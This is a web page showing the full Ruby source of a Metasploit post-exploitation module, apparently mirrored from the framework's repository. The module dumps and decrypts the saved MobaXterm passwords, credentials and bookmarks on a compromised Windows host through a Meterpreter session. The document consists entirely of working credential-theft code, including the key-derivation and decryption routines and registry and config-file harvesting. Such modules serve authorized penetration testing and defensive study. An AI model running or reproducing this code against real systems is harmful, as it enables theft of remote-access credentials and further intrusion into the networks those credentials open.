Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/windows/gather/credentials/moba_xterm.rb
Views: 11704
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3#4# @blurbdust based this code off of https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/credentials/gpp.rb5# and https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/enum_ms_product_keys.rb6##78class MetasploitModule < Msf::Post9include Msf::Post::Windows::Registry10include Msf::Post::Windows::UserProfiles1112def initialize(info = {})13super(14update_info(15info,16'Name' => 'Windows Gather MobaXterm Passwords',17'Description' => %q{18This module will determine if MobaXterm is installed on the target system and, if it is, it will try to19dump all saved session information from the target. The passwords for these saved sessions will then be decrypted20where possible, using the decryption information that HyperSine reverse engineered.21},22'License' => MSF_LICENSE,23'References' => [24[ 'URL', 'https://blog.kali-team.cn/Metasploit-MobaXterm-0b976b993c87401598be4caab8cbe0cd' ]25],26'Author' => ['Kali-Team <kali-team[at]qq.com>'],27'Platform' => [ 'win' ],28'SessionTypes' => [ 'meterpreter' ],29'Notes' => {30'Stability' => [],31'Reliability' => [],32'SideEffects' => []33},34'Compat' => {35'Meterpreter' => {36'Commands' => %w[37stdapi_railgun_api38stdapi_railgun_api_multi39stdapi_railgun_memread40stdapi_railgun_memwrite41stdapi_sys_process_get_processes42]43}44}45)46)47register_options(48[49OptString.new('MASTER_PASSWORD', [ false, 'If you know the password, you can skip decrypting the master password. If not, it will be decrypted automatically']),50OptString.new('CONFIG_PATH', [ false, 'Specifies the config file path for MobaXterm']),51]52)53end5455def windows_unprotect(entropy, data)56begin57pid = session.sys.process.getpid58process = session.sys.process.open(pid, PROCESS_ALL_ACCESS)5960# write entropy to memory61emem = process.memory.allocate(128)62process.memory.write(emem, entropy)63# write encrypted data to memory64mem = process.memory.allocate(128)65process.memory.write(mem, data)6667# enumerate all processes to find the one that we're are currently executing as,68# and then fetch the architecture attribute of that process by doing ["arch"]69# to check if it is an 32bits process or not.70if session.sys.process.each_process.find { |i| i['pid'] == pid } ['arch'] == 'x86'71addr = [mem].pack('V')72len = [data.length].pack('V')7374eaddr = [emem].pack('V')75elen = [entropy.length].pack('V')7677ret = session.railgun.crypt32.CryptUnprotectData("#{len}#{addr}", 16, "#{elen}#{eaddr}", nil, nil, 0, 8)78len, addr = ret['pDataOut'].unpack('V2')79else80# Convert using rex, basically doing: [mem & 0xffffffff, mem >> 32].pack("VV")81addr = Rex::Text.pack_int64le(mem)82len = Rex::Text.pack_int64le(data.length)8384eaddr = Rex::Text.pack_int64le(emem)85elen = Rex::Text.pack_int64le(entropy.length)8687ret = session.railgun.crypt32.CryptUnprotectData("#{len}#{addr}", 16, "#{elen}#{eaddr}", nil, nil, 0, 16)88p_data = ret['pDataOut'].unpack('VVVV')89len = p_data[0] + (p_data[1] << 32)90addr = p_data[2] + (p_data[3] << 32)91end92return '' if len == 09394return process.memory.read(addr, len)95rescue Rex::Post::Meterpreter::RequestError => e96vprint_error(e.message)97end98return ''99end100101def key_crafter(config)102if !config['SessionP'].empty? && !config['SessionP'].nil?103s1 = config['SessionP']104s1 += s1 while s1.length < 20105key_space = [s1.upcase, s1.upcase, s1.downcase, s1.downcase]106key = '0d5e9n1348/U2+67'.bytes107for i in (0..key.length - 1)108b = key_space[(i + 1) % key_space.length].bytes[i]109if !key.include?(b) && '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz+/'.include?(b)110key[i] = b111end112end113return key114end115end116117def mobaxterm_decrypt(ciphertext, key)118ct = ''.bytes119ciphertext.each_byte do |c|120ct << c if key.include?(c)121end122if ct.length.even?123pt = ''.bytes124(0..ct.length - 1).step(2) do |i|125l = key.index(ct[i])126key = key[0..-2].insert(0, key[-1])127h = key.index(ct[i + 1])128key = key[0..-2].insert(0, key[-1])129next if l == -1 || h == -1130131pt << (16 * h + l)132end133pp pt.pack('c*')134end135end136137def mobaxterm_crypto_safe(ciphertext, config)138return nil if ciphertext.nil? || ciphertext.empty?139140iv = ("\x00" * 16)141master_password = datastore['MASTER_PASSWORD'] || ''142sesspass = config['Sesspass']["#{config['Sesspass']['LastUsername']}@#{config['Sesspass']['LastComputername']}"]143data_ini = Rex::Text.decode_base64('AQAAANCMnd8BFdERjHoAwE/Cl+s=') + Rex::Text.decode_base64(sesspass)144key = Rex::Text.decode_base64(windows_unprotect(config['SessionP'], data_ini))[0, 32]145# Use the set master password only when using the specified path146if !master_password.empty? && datastore['CONFIG_PATH']147key = OpenSSL::Digest::SHA512.new(master_password).digest[0, 32]148end149aes = OpenSSL::Cipher.new('AES-256-ECB').encrypt150aes.key = key151new_iv = aes.update(iv)152# segment_size = 8153new_aes = OpenSSL::Cipher.new('AES-256-CFB8').decrypt154new_aes.key = key155new_aes.iv = new_iv156aes.padding = 0157padded_plain_bytes = new_aes.update(Rex::Text.decode_base64(ciphertext))158padded_plain_bytes << new_aes.final159return padded_plain_bytes160end161162def gather_password(config)163result = []164if config['PasswordsInRegistry'] == '1'165parent_key = "#{config['RegistryKey']}\\P"166return if !registry_key_exist?(parent_key)167168registry_enumvals(parent_key).each do |connect|169username, server_host = connect.split('@')170protocol, username = username.split(':') if username.include?(':')171password = registry_getvaldata(parent_key, connect)172key = key_crafter(config)173plaintext = config['Sesspass'].nil? ? mobaxterm_decrypt(password, key) : mobaxterm_crypto_safe(password, config)174result << {175protocol: protocol,176server_host: server_host,177username: username,178password: plaintext179}180end181else182config['Passwords'].each_key do |connect|183username, server_host = connect.split('@')184protocol, username = username.split(':') if username.include?(':')185password = config['Passwords'][connect]186key = key_crafter(config)187plaintext = config['Sesspass'].nil? ? mobaxterm_decrypt(password, key) : mobaxterm_crypto_safe(password, config)188result << {189protocol: protocol,190server_host: server_host,191username: username,192password: plaintext193}194end195end196result197end198199def gather_creds(config)200result = []201if config['PasswordsInRegistry'] == '1'202parent_key = "#{config['RegistryKey']}\\C"203return if !registry_key_exist?(parent_key)204205registry_enumvals(parent_key).each do |name|206username, password = registry_getvaldata(parent_key, name).split(':')207key = key_crafter(config)208plaintext = config['Sesspass'].nil? ? mobaxterm_decrypt(password, key) : mobaxterm_crypto_safe(password, config)209result << {210name: name,211username: username,212password: plaintext213}214end215else216config['Credentials'].each_key do |name|217username, password = config['Credentials'][name].split(':')218key = key_crafter(config)219plaintext = config['Sesspass'].nil? ? mobaxterm_decrypt(password, key) : mobaxterm_crypto_safe(password, config)220result << {221name: name,222username: username,223password: plaintext224}225end226end227228result229end230231def parser_ini(ini_config_path)232valuable_info = {}233if session.fs.file.exist?(ini_config_path)234file_contents = read_file(ini_config_path)235if file_contents.nil? || file_contents.empty?236print_warning('Configuration file content is empty')237return238else239config = Rex::Parser::Ini.from_s(file_contents)240valuable_info['PasswordsInRegistry'] = config['Misc']['PasswordsInRegistry'] || '0'241valuable_info['SessionP'] = config['Misc']['SessionP'] || 0242valuable_info['Sesspass'] = config['Sesspass'] || nil243valuable_info['Passwords'] = config['Passwords'] || {}244valuable_info['Credentials'] = config['Credentials'] || {}245valuable_info['Bookmarks'] = config['Bookmarks'] || nil246return valuable_info247end248else249print_warning('Could not find the config path for the MobaXterm. Ensure that MobaXterm is installed on the target.')250return false251end252end253254def parse_bookmarks(bookmarks)255result = []256protocol_hash = { '#109#0' => 'ssh', '#98#1' => 'telnet', '#128#5' => 'vnc', '#140#7' => 'sftp', '#130#6' => 'ftp', '#100#2' => 'rsh', '#91#4' => 'rdp' }257bookmarks.each_key do |key|258next if key.eql?('ImgNum') || key.eql?('SubRep') || bookmarks[key].empty?259260bookmarks_split = bookmarks[key].strip.split('%')261if protocol_hash.include?(bookmarks_split[0])262protocol = protocol_hash[bookmarks_split[0]]263server_host = bookmarks_split[1]264port = bookmarks_split[2]265username = bookmarks_split[3]266result << { name: key, protocol: protocol, server_host: server_host, port: port, username: username }267else268print_warning("Parsing is not supported: #{bookmarks[key].strip}")269end270end271return result272end273274def entry(config)275pws_result = gather_password(config)276creds_result = gather_creds(config)277bookmarks_result = parse_bookmarks(config['Bookmarks'])278return pws_result, creds_result, bookmarks_result279end280281def run282pw_tbl = Rex::Text::Table.new(283'Header' => 'MobaXterm Password',284'Columns' => [285'Protocol',286'Hostname',287'Username',288'Password',289]290)291bookmarks_tbl = Rex::Text::Table.new(292'Header' => 'MobaXterm Bookmarks',293'Columns' => [294'BookmarksName',295'Protocol',296'ServerHost',297'Port',298'Credentials or Passwords',299]300)301creds_tbl = Rex::Text::Table.new(302'Header' => 'MobaXterm Credentials',303'Columns' => [304'CredentialsName',305'Username',306'Password',307]308)309print_status("Gathering MobaXterm session information from #{sysinfo['Computer']}")310ini_config_path = datastore['CONFIG_PATH'] || "#{registry_getvaldata("HKU\\#{session.sys.config.getsid}\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders", 'Personal')}\\MobaXterm\\MobaXterm.ini"311print_status("Specifies the config file path for MobaXterm #{ini_config_path}")312config = parser_ini(ini_config_path)313unless config314return315end316317parent_key = "HKEY_USERS\\#{session.sys.config.getsid}\\Software\\Mobatek\\MobaXterm"318config['RegistryKey'] = parent_key319pws_result, creds_result, bookmarks_result = entry(config)320pws_result.each do |item|321pw_tbl << item.values322end323bookmarks_result.each do |item|324bookmarks_tbl << item.values325end326creds_result.each do |item|327creds_tbl << item.values328end329330if pw_tbl.rows.count > 0331path = store_loot('host.moba_xterm', 'text/plain', session, pw_tbl, 'moba_xterm.txt', 'MobaXterm Password')332print_good("Passwords stored in: #{path}")333print_good(pw_tbl.to_s)334end335if creds_tbl.rows.count > 0336path = store_loot('host.moba_xterm', 'text/plain', session, creds_tbl, 'moba_xterm.txt', 'MobaXterm Credentials')337print_good("Credentials stored in: #{path}")338print_good(creds_tbl.to_s)339end340if bookmarks_tbl.rows.count > 0341path = store_loot('host.moba_xterm', 'text/plain', session, bookmarks_tbl, 'moba_xterm.txt', 'MobaXterm Bookmarks')342print_good("Bookmarks stored in: #{path}")343print_good(bookmarks_tbl.to_s)344end345if pw_tbl.rows.count == 0 && creds_tbl.rows.count == 0 && bookmarks_tbl.rows.count == 0346print_error("I can't find anything!")347end348end349end350351352